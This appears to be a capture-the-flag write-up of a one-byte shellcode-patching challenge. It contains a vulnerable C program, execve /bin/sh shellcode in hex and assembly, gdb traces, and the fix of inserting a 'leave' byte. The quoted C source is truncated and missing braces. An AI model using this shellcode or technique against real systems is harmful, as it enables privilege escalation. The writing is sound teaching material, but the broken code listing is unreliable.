Below is the source code of vulnerable binary file.

#include <stdio.h>

// 23byte shellcode from  
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

void shellcode(){
        // a buffer we are about to exploit!
        char buf[20];

        // prepare shellcode on executable stack!
        strcpy(buf, sc);

        // overwrite return address!
        *(int*)(buf+32) = buf;

        printf("get shell\n");

int main(){
        printf("What the hell is wrong with my shellcode??????\n");
        printf("I just copied and pasted it from :(\n");
        printf("Can you fix it for me?\n");

        unsigned int index=0;
        printf("Tell me the byte index to be fixed : ");
        scanf("%d", &index);

        if(index > 22)  return 0;

        int fix=0;
        printf("Tell me the value to be patched : ");
        scanf("%d", &fix);

        // patching my shellcode
        sc[index] = fix;

        // this should work..
        return 0;

If you analyze binary file, you could figure out that we could modify 1 byte of shellcode, and we must leverage this vulnerability to obtain privileged shell.
The shellcode is embedded in the binary and I have checked whether it is valid shellcode as below:

xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80

Indeed it is valid shellcoded.
To briefly explain meaning of “push $0x68732f2f” and “push $0x6e69622f”.
This is very basic technique to create shellcode. It embeds necessary strings in the exploit code as follow:

push ‘/’ ; is push 0x2f
push ‘b’ ; is push 0x62
push ‘i’ ; is push 0x69
push ‘n’ ; is push 0x6e
push ‘/’ ; is push 0x2f
push ‘/’ ; is push 0x2f
push ‘s’ ; is push 0x73
push ‘h’ ; is push 0x68

However, even if it is valid shellcode, If you execute the program, it crashes!!!
You need to analyze why this is happening..
I started analyzing using gdb.
Let’s disas shellcode function.

(gdb) disas shellcode
Dump of assembler code for function shellcode:
0x080484e4 <+0>: push ebp
0x080484e5 <+1>: mov ebp,esp
0x080484e7 <+3>: sub esp,0x38
0x080484ea <+6>: mov DWORD PTR [esp+0x4],0x804a024
0x080484f2 <+14>: lea eax,[ebp-0x1c]
0x080484f5 <+17>: mov DWORD PTR [esp],eax
0x080484f8 <+20>: call 0x80483e0 strcpy@plt
0x080484fd <+25>: lea eax,[ebp-0x1c]
0x08048500 <+28>: lea edx,[eax+0x20]
0x08048503 <+31>: lea eax,[ebp-0x1c]
0x08048506 <+34>: mov DWORD PTR [edx],eax
0x08048508 <+36>: mov DWORD PTR [esp],0x80486a0
0x0804850f <+43>: call 0x80483f0 puts@plt
0x08048514 <+48>: leave
0x08048515 <+49>: ret
End of assembler dump.

break at shellcode+6 and evaluate stack.

(gdb) x/10i *shellcode

0x80484e4 : push ebp

0x80484e5 <shellcode+1>: mov ebp,esp

0x80484e7 <shellcode+3>: sub esp,0x38

=> 0x80484ea <shellcode+6>: mov DWORD PTR [esp+0x4],0x804a024

0x80484f2 <shellcode+14>: lea eax,[ebp-0x1c]

0x80484f5 <shellcode+17>: mov DWORD PTR [esp],eax

0x80484f8 <shellcode+20>: call 0x80483e0 strcpy@plt

0x80484fd <shellcode+25>: lea eax,[ebp-0x1c]

0x8048500 <shellcode+28>: lea edx,[eax+0x20]

0x8048503 <shellcode+31>: lea eax,[ebp-0x1c]

(gdb) x/10wx $ebp
0xfff7bed8: 0xfff7bf08 (old ebp) 0x080485c7 (ret) 0x0804874e 0xfff7bef8
0xfff7bee8: 0xf772cff4 0xf75bd1a5 0xf774f660 0x00000000
0xfff7bef8: 0x000000c9 0x0000000d

You can see that return address is at 0xfff7bedc. If we could overwrite it, we could execute our shellcode.
If you further analyze the binary code, you can find some interesting stuff is going on.

=> 0x80484fd <shellcode+25>: lea eax,[ebp-0x1c]
0x8048500 <shellcode+28>: lea edx,[eax+0x20]
0x8048503 <shellcode+31>: lea eax,[ebp-0x1c]
0x8048506 <shellcode+34>: mov DWORD PTR [edx],eax

(gdb) x/10bx $ebp-0x1c –> our shellcode is here
0xfff7bebc: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xfff7bec4: 0x68 0x2f
(gdb) x/wx $eax+0x20 –> this refers ret
0xfff7bedc: 0x080485c7

This means, below instruction will overwrite ret address to our shellcode.

0x8048506 <shellcode+34>:   mov   DWORD PTR [edx],eax  

After above instruction, ret is changed to shellcode..
(gdb) x/10i 0xfff7bebc

=>0x804a024 : xor eax,eax

0x804a026 <sc+2>: push eax

0x804a027 <sc+3>: push 0x68732f2f

0x804a02c <sc+8>: push 0x6e69622f

0x804a031 <sc+13>: mov ebx,esp

0x804a033 <sc+15>: push eax

0x804a034 <sc+16>: push ebx

0x804a035 <sc+17>: mov ecx,esp

0x804a037 <sc+19>: mov al,0xb

0x804a039 <sc+21>: int 0x80

so far so good. Then why the program crashes?
The program crashes after executing below instruction.

=> 0x804a02c <sc+8>: push 0x6e69622f

Very interesting..
The reason program crashes is that eip is increased as the instruction executed, whereas esp decreases as push instruction is executed. So, there is 5 push instructions in the shellcode..

> On the second push instruction, because esp is pointing to eip memory region, it overwrites eip and therefore, program crashes with illegal instruction.  

In order to solve this problem, you need to leverage “leave” instruction to change esp value so that it does not overwrite eip. 0xc9 is leave instruction, and since we could modify one byte, we can change insert it into our shellcode Leave instruction changes esp value to ebp value.

leave instruction is equavalent to mov esp, ebp and pop ebp.

; enter
push ebp
mov ebp, esp

; leave
mov esp, ebp
pop ebp